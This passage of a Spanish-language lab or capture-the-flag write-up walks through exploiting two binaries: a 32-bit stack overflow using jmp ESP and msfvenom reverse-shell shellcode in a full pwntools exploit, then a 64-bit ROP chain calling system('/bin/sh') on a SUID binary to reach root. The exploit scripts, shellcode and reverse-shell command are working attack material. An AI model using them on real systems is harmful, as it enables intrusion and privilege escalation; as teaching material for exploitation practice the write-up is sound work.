aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
[+] Saved as '$_gef0'
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FZpTGDiJj6pddYLbo1BmM%2Fimg_81_bufferred.png?alt=media&amp;token=9204ecab-9578-4df5-972a-e1d9886310cd" alt=""><figcaption></figcaption></figure>

Reiniciaré el proceso bajo GDB y enviaré el patrón. Como inicialmente no alcanza el punto de interés, generaré otro de mayor longitud, tal como muestra la siguiente prueba.

```bash
pattern create 9999
```

Ahora si enviamos el **payload**:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FiuXpX4KnNAU7h5cBtWOe%2Fimg_82_buffered.png?alt=media&amp;token=c012a551-5ab2-4ea2-b196-0b8e36297497" alt=""><figcaption></figcaption></figure>

Tras provocar el fallo, inspeccionaré **`$eip`** para identificar si contiene bytes del patrón controlado.

```js
$eip   : 0x6b6e6161 ("aank"?)
```

El objetivo es calcular el **offset**, es decir, la cantidad de bytes que preceden a la posición de la dirección de retorno que acaba cargándose en **EIP**. GEF permite obtenerlo con `pattern offset`.

```r
pattern offset $eip -l 9999
```

**Resultado**

```js
[+] Searching for '61616e6b'/'6b6e6161' with period=4
[+] Found at offset 1337 (little-endian search) likely
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FHreChwP8rLL20IdJmhws%2Fimg_83_buffered.png?alt=media&amp;token=f1472387-7f75-4caa-9110-64511ddd4800" alt=""><figcaption></figcaption></figure>

El resultado indica **1337 bytes de offset hasta EIP**. Este número **no es necesariamente el tamaño del buffer local**; es la distancia medida desde el inicio de la entrada hasta la sobrescritura del valor de control. Lo verificaré con letras conocidas.

```python
python3 -c 'print("A"*1337 + "B"*4 + "C"*100)'
```

Para enviar directamente el **payload**

```python
python3 -c 'print("A"*1337 + "B"*4 + "C"*100)' | nc 127.0.0.1 9000
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F7W0UHy8kkWW4sZa21G81%2Fimg_84_buffered.png?alt=media&amp;token=adabc3f9-8542-414f-ad00-566f1221c893" alt=""><figcaption></figcaption></figure>

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FRpMBzgZO6YykS1qf8jW9%2Fimg_85_buffered.png?alt=media&amp;token=76a5455d-10fe-4ea6-8be7-6f576d298393" alt=""><figcaption></figcaption></figure>

Y efectivamente ahora el `$eip` vale:

```js
$eip   : 0x42424242 ("BBBB"?)
```

La comprobación confirma que, después de **1337 bytes de relleno**, podemos sobrescribir los **4 bytes de EIP**. Además, el registro **ESP** apunta al siguiente segmento de datos de nuestra entrada:

```js
$esp   : 0xffd4c7c0  →  "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
```

Con estos datos podemos completar progresivamente los valores del exploit.

```python
port= 9000 # Puerto a conectar

offset = 1337            # Tamaño exacto antes de EIP
buffer = b"A" * offset   # Relleno antes de sobrescribir EIP
```

`jmp ESP` es una instrucción de **x86 de 32 bits** que transfiere el control a la **dirección almacenada en ESP**. No ejecuta automáticamente cualquier dato del stack: la región de destino debe contener instrucciones válidas y contar con permisos de ejecución.

* En términos sencillos, **salta a la dirección que contiene ESP**. Si allí colocamos instrucciones válidas y la región es ejecutable, el procesador puede interpretarlas.

**Pasos a seguir**

```js
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
```

**Luego**:

```js
nasm > jmp ESP
00000000  FFE4              jmp esp
nasm > exit
```

**Primero** -> `nasm_shell.rb`

* La herramienta de Metasploit permite consultar los **opcodes** correspondientes a instrucciones en ensamblador.
* Para `jmp ESP` obtenemos los bytes hexadecimales **`FF E4`** en x86.
* Podemos buscarlos en el ejecutable y confirmar que corresponden a una instrucción válida.

```js
objdump -D bufferbot | grep "ff e4"
```

**Resultado**

```bash
8049559:	ff e4                	jmp    *%esp
```

**Segundo** -> `objdump`

* `objdump -D` desensambla el contenido del binario para visualizar instrucciones.
* `grep "ff e4"` filtra las líneas que contienen esos bytes; debemos comprobar que la coincidencia represente realmente la instrucción **`jmp ESP`**.
* En este binario aparece en la dirección **`0x8049559`**, que utilizaremos como referencia en el laboratorio.

En x86 de 32 bits, las direcciones de **4 bytes** se escriben habitualmente en memoria en orden **little-endian**, es decir, colocando primero el byte menos significativo.

* **Dirección original**: `0x08049559`
* **Orden little-endian**: `"\x59\x95\x04\x08"`

🔥 **¿Para qué se usa?**

* En esta técnica sobrescribimos la dirección de retorno con la dirección de `jmp ESP`, de modo que el flujo salte hacia la región donde colocamos el **shellcode**.

```python
eip = b"\x59\x95\x04\x08"  # Dirección de jmp ESP en little-endian para 32-bit
nops = b"\x90" * 32        # NOP sled para estabilidad
```

**NOP sled:** la secuencia de **32 bytes `\x90`** contiene instrucciones NOP previas al shellcode. Puede ofrecer cierto margen en el destino del salto, pero no corrige un offset equivocado ni sustituye los permisos de ejecución.

El **shellcode** es una secuencia de instrucciones de máquina adaptada a una arquitectura y sistema operativo concretos. En este laboratorio generaré uno con `msfvenom` para establecer una **reverse shell**.

```js
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.17.0.3 LPORT=1234 -b "\x00" -f py -v shellcode
```

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F8SnbQgCHcmZNQ01JYCQT%2Fimg_86_buffered.png?alt=media&amp;token=c7880817-7899-4550-bd10-1ee97910d21b" alt=""><figcaption></figcaption></figure>

Lo que usaremos es:

```python
shellcode =  b""
shellcode += b"\xda\xd7\xd9\x74\x24\xf4\xbb\x9c\xc6\x4b\xef"
shellcode += b"\x58\x33\xc9\xb1\x12\x83\xc0\x04\x31\x58\x13"
shellcode += b"\x03\xc4\xd5\xa9\x1a\xc5\x02\xda\x06\x76\xf6"
shellcode += b"\x76\xa3\x7a\x71\x99\x83\x1c\x4c\xda\x77\xb9"
shellcode += b"\xfe\xe4\xba\xb9\xb6\x63\xbc\xd1\xe4\x85\x3e"
shellcode += b"\x22\x9d\xa7\x3e\x20\x8f\x21\xdf\x98\x49\x62"
shellcode += b"\x71\x8b\x26\x81\xf8\xca\x84\x06\xa8\x64\x79"
shellcode += b"\x28\x3e\x1c\xed\x19\xef\xbe\x84\xec\x0c\x6c"
shellcode += b"\x04\x66\x33\x20\xa1\xb5\x34"
```

El payload está configurado para crear una conexión saliente a la máquina atacante por el puerto **1234**.

**Opciones explicadas:**

* `-p linux/x86/shell_reverse_tcp`: selecciona un payload de **reverse shell TCP** para Linux **x86 de 32 bits**.
* `LHOST=172.17.0.3`: IP de retorno configurada en esta prueba.
* `LPORT=1234`: puerto donde se recibirá la conexión.
* `-b "\x00"`: solicita evitar el **byte nulo**, que puede interrumpir operaciones basadas en cadenas C terminadas en cero. No todas las entradas presentan esta limitación.
* `-f py -v shellcode`: genera el resultado en formato Python, en una variable llamada **`shellcode`**.

> Otras cadenas que pueden romper el exploit, también conocido como **badchars** son:>\
> -> `\x00\x0A\x0D\xFF`

La salida del ejemplo muestra un **shellcode de 95 bytes** codificado mediante `x86/shikata_ga_nai`. Este encoder cambia su representación, pero **no garantiza evadir mecanismos de detección**.

El exploit se construye combinando el **offset de 1337 bytes**, la dirección de `jmp ESP` en little-endian, el NOP sled y el shellcode. Conservaré estos valores tal como se obtuvieron en GDB.

{% code lineNumbers="true" %}

```python
#!/usr/bin/python3

from pwn import *

def exploit():
    host="127.0.0.1"  # IP a conectar
    port= 9000        # Puerto a conectar

    offset = 1337              # Tamaño exacto antes de EIP
    buffer = b"A" * offset     # Relleno antes de sobrescribir EIP
    eip = b"\x59\x95\x04\x08"  # Dirección de jmp ESP en little-endian para 32-bit
    nops = b"\x90" * 32        # NOP sled para estabilidad

    # Shellcode generado con msfvenom
    shellcode =  b""
    shellcode += b"\xda\xd7\xd9\x74\x24\xf4\xbb\x9c\xc6\x4b\xef"
    shellcode += b"\x58\x33\xc9\xb1\x12\x83\xc0\x04\x31\x58\x13"
    shellcode += b"\x03\xc4\xd5\xa9\x1a\xc5\x02\xda\x06\x76\xf6"
    shellcode += b"\x76\xa3\x7a\x71\x99\x83\x1c\x4c\xda\x77\xb9"
    shellcode += b"\xfe\xe4\xba\xb9\xb6\x63\xbc\xd1\xe4\x85\x3e"
    shellcode += b"\x22\x9d\xa7\x3e\x20\x8f\x21\xdf\x98\x49\x62"
    shellcode += b"\x71\x8b\x26\x81\xf8\xca\x84\x06\xa8\x64\x79"
    shellcode += b"\x28\x3e\x1c\xed\x19\xef\xbe\x84\xec\x0c\x6c"
    shellcode += b"\x04\x66\x33\x20\xa1\xb5\x34"

    # Estructura final del payload
    esp = nops + shellcode         # NOP sled seguido del shellcode
    payload = buffer + eip + esp   # Buffer final

    # Envío del exploit al servicio objetivo
    try:
        print("\n[*] Iniciando Ataque...")
        conn=remote(host,port)
        conn.sendline(payload)
        conn.close()
        print("[+] Payload enviado correctamente!!!\n")
    except Exception as e:
        print(f"\n[-] Error al enviar el payload: {e}\n")

if __name__ == '__main__':
    exploit()
```

{% endcode %}

Ahora ejecutaré el servicio en el laboratorio, prepararé el listener en el puerto **1234** y probaré el exploit.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FVWSgBqiAXyE4VfJrXvKf%2Fimg_87_buffered.png?alt=media&amp;token=2b685fda-e49b-4e50-8587-86ad9b248ed7" alt=""><figcaption></figcaption></figure>

La demostración muestra la ejecución del payload y la recepción de una **reverse shell**.

* A la izquierda se observa el envío del **shellcode**.
* En la parte superior derecha se ejecuta el exploit.
* Debajo se recibe la **reverse shell**.

Repetiré la prueba contra el servicio del objetivo a través del reenvío que establecimos anteriormente.

> Es necesario configurar el shellcode con la **IP y el puerto de retorno accesibles desde el proceso vulnerable**.

Prepararé el listener del laboratorio en el puerto **8888**:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FuUupNNDm5uVSX4As2Eve%2Fimg_88_buffered.png?alt=media&amp;token=c9904a3b-1c97-41f4-a113-714d41fec9ba" alt=""><figcaption></figcaption></figure>

Ahora ejecutaré el exploit dirigido al servicio reenviado.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FttAZzyWhzNoYWRkenmXz%2Fimg_89_buffered.png?alt=media&amp;token=e27adfe7-2c24-4f92-aa62-ab86ee39749b" alt=""><figcaption></figcaption></figure>

> La conexión utiliza **`127.0.0.1`** porque Chisel reenvía a esa dirección local el servicio interno del objetivo. No significa que el servicio remoto esté alojado directamente en mi máquina.

La nueva sesión aparece asociada al usuario **`tyler`**. Con `sessions --list` podemos comprobar el contexto del acceso obtenido.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2F0obTkeF9k242VS964ncM%2Fimg_90_buffered.png?alt=media&amp;token=39f307ff-e11f-4c9c-a596-723d30d1f98f" alt=""><figcaption></figcaption></figure>

Al acceder al shell de `tyler` encuentro un ejecutable llamado **`shell`** que pertenece a **root** y tiene el bit **SUID** habilitado. Este permiso puede permitir que el proceso ejecute ciertas operaciones con el UID efectivo del propietario, pero **no concede automáticamente una shell root**.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FtZ6rgG3c0FOAKwKKx4Mn%2Fimg_91_buffered.png?alt=media&amp;token=a98ce5ed-c906-4db5-b3ba-ba7952d5f426" alt=""><figcaption></figcaption></figure>

Al ejecutar el binario, su comportamiento sugiere que puede iniciar una shell, aunque algunas operaciones no funcionan como se esperaría. Debemos comprobar el UID efectivo y las restricciones concretas.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FPdhI2d9VGnmiLuC8y5nf%2Fimg_92_buffered.png?alt=media&amp;token=05644a21-d54d-4638-8cb4-04e15e1f30fa" alt=""><figcaption></figcaption></figure>

> Si ingresamos muchas **AAA**, nos devuelve:

```js
[!] YOU GOT R007 - C0NGR47ULA710N5 [!]
Segmentation fault (core dumped)
```

Una entrada extensa provoca un comportamiento anómalo compatible con corrupción de memoria. Descargaré el binario para estudiarlo con GDB en el contenedor Kali.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FWUVGpUGl3cCvuWbzfO5t%2Fimg_93_buffered.png?alt=media&amp;token=aaccf0cd-bfc5-4829-8195-ae56ebbec288" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FwRv1RZYS0KJoG363cmOJ%2Fimg_94_buffered.png?alt=media&amp;token=2e163884-9b05-4c2e-8478-eaf500044df7" alt=""><figcaption></figcaption></figure>

El binario `shell` es de **64 bits** y tiene **NX habilitado**. NX dificulta ejecutar shellcode directamente desde regiones no ejecutables como el stack, pero **no impide todas las técnicas de explotación**, por ejemplo la reutilización de código existente.

```js
gdb ./shell -q
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FOVONLcYz9KCTgUHlPH98%2Fimg_95_buffered.png?alt=media&amp;token=b1835b51-fd62-415c-9675-78ae7d9af448" alt=""><figcaption></figcaption></figure>

Dado que NX está activo, evaluaré el uso de **ROP (Return-Oriented Programming)** y el aprovechamiento de funciones ya existentes en el binario.

```js
info functions
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FgRjj63WxuAycFgGAtWtQ%2Fimg_96_buffered.png?alt=media&amp;token=d439dbe3-ccd4-4804-96a9-ceb6219548e2" alt=""><figcaption></figcaption></figure>

Entre las funciones identificadas aparecen **`_x1` y `_x2`**, que pueden resultar útiles para controlar registros y el flujo de ejecución. Prepararé el exploit para ejecutarlo en el propio entorno objetivo. En este caso `pwntools` no está disponible allí, pero sí podemos emplear **`struct`** y **`pexpect`**, tal como muestran las pruebas.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FpYi3yKOEGq5srqt6aoRI%2Fimg_97_buffered.png?alt=media&amp;token=73e391ea-a63f-4434-aa29-d7e11a7fe7ca" alt=""><figcaption></figcaption></figure>

> La ausencia de `pwntools` en el objetivo no significa que sea imposible utilizar Python: depende de las bibliotecas instaladas. Aquí está disponible **`pexpect`**, que permite interactuar con procesos mediante una pseudoterminal.

Ahora bien, volvamos a **gdb** para ver la función `_x1`:

```js
disas _x1
```

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FIqzjIBoLH4cbWQDgOeuM%2Fimg_98_buffered.png?alt=media&amp;token=7a37914f-a0f5-4dfe-a3d8-d84271f7413b" alt=""><figcaption></figcaption></figure>

La función **`_x1`** contiene una instrucción que carga un valor de la pila en **`r13`** (`pop r13`). Esto puede servir para controlar el destino de un salto posterior.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FgwCeJIuzqBt7ztQ3POEv%2Fimg_99_buffered.png?alt=media&amp;token=4718e761-a0d5-46e5-8936-687a5d53e35c" alt=""><figcaption></figcaption></figure>

La función **`_x2`** utiliza el puntero de pila **`rsp`** para preparar **`rdi`** y después salta a la dirección contenida en **`r13`**, según el desensamblado del laboratorio. En la convención **System V AMD64** de Linux, los seis primeros argumentos enteros o punteros se pasan normalmente mediante **`rdi`, `rsi`, `rdx`, `rcx`, `r8` y `r9`**. Si la cadena `/bin/sh\x00` queda donde `_x2` espera encontrarla, podemos configurar **`rdi`** para que `system@plt` reciba ese argumento. Debemos respetar el efecto exacto de las instrucciones y el estado de la pila: **no basta con cargar cualquier dirección en `r13`**.

Calcularé ahora la distancia necesaria para colocar la cadena **`/bin/sh\x00`** en la posición adecuada del stack. Utilizaré un patrón cíclico en GDB para medir el desplazamiento.

```js
pattern create 300
```

**Resultado**

```js
[+] Generating a pattern of 300 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef1'
```

Enviemos la cadena:

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FnypgWNM9nE62qqpcvbQ8%2Fimg_100_buffered.png?alt=media&amp;token=4295b8b0-95b3-4c03-9fa3-04ba0eeed219" alt=""><figcaption></figcaption></figure>

El resultado muestra sobrescritura de valores de control; ahora calcularemos el **desfase** correspondiente.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FQmI6QmkYPcCDA9KJJHp7%2Fimg_101_buffered.png?alt=media&amp;token=883c1817-7ca5-453e-8162-fc048834c382" alt=""><figcaption></figcaption></figure>

La prueba señala un desplazamiento de **136 bytes** hasta la posición estudiada. En este payload coloco los **8 bytes** de `/bin/sh\x00` antes de esa posición, por lo que el relleno se ajusta a **128 bytes (`136 - 8`)**. Esto conserva el diseño que muestran tus capturas; la disposición real debe validarse contra el desensamblado de `_x1` y `_x2`.

```js
objdump -D shell | grep system
```

**Resultado**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FDGmJvKjQeR1HCA4grCuB%2Fimg_102_buffered.png?alt=media&amp;token=9e35d483-f55f-4ff9-b9ad-49e4461bf1f1" alt=""><figcaption></figcaption></figure>

El símbolo **`system@plt`** aparece en la dirección **`0x401040`** del ejecutable analizado. La cadena ROP preparada utiliza los gadgets indicados en el código para cargar los registros y transferir la ejecución; su funcionamiento depende de que las direcciones y el estado de la pila coincidan con este binario.

{% code lineNumbers="true" %}

```python
#!/usr/bin/env python3

import struct
import pexpect

def p64(val):
    return struct.pack("<Q", val)

buffer = b"\x55" * 128
bin_sh = b"/bin/sh\x00"
pop_r13 = p64(0x40149d)
system_plt = p64(0x401040)
_x2 = p64(0x4014a3)

payload = buffer + bin_sh + pop_r13 + system_plt + _x2

p = pexpect.spawn("./shell")
p.send(payload)
p.interact()
```

{% endcode %}

Subiré el script mediante el módulo **`upload`** y ejecutaré la prueba desde el entorno objetivo.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FwUZsjZIEXgnYbSyKtgQz%2Fimg_103_buffered.png?alt=media&amp;token=b2d3404f-7e94-48ce-ae47-c0cf126597e5" alt=""><figcaption></figcaption></figure>

La ejecución demuestra que conseguimos una sesión con privilegios de **root** en este laboratorio. Podemos comprobarlo con `id` o `whoami` antes de iniciar Bash.

```bash
bash
```

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FuL9lHTPpVUWJLA6W8JtJ%2Fimg_104_buffered.png?alt=media&amp;token=4c0513cb-642f-42b8-bf3c-740c028521d7" alt=""><figcaption></figcaption></figure>

Y eso seria todo.
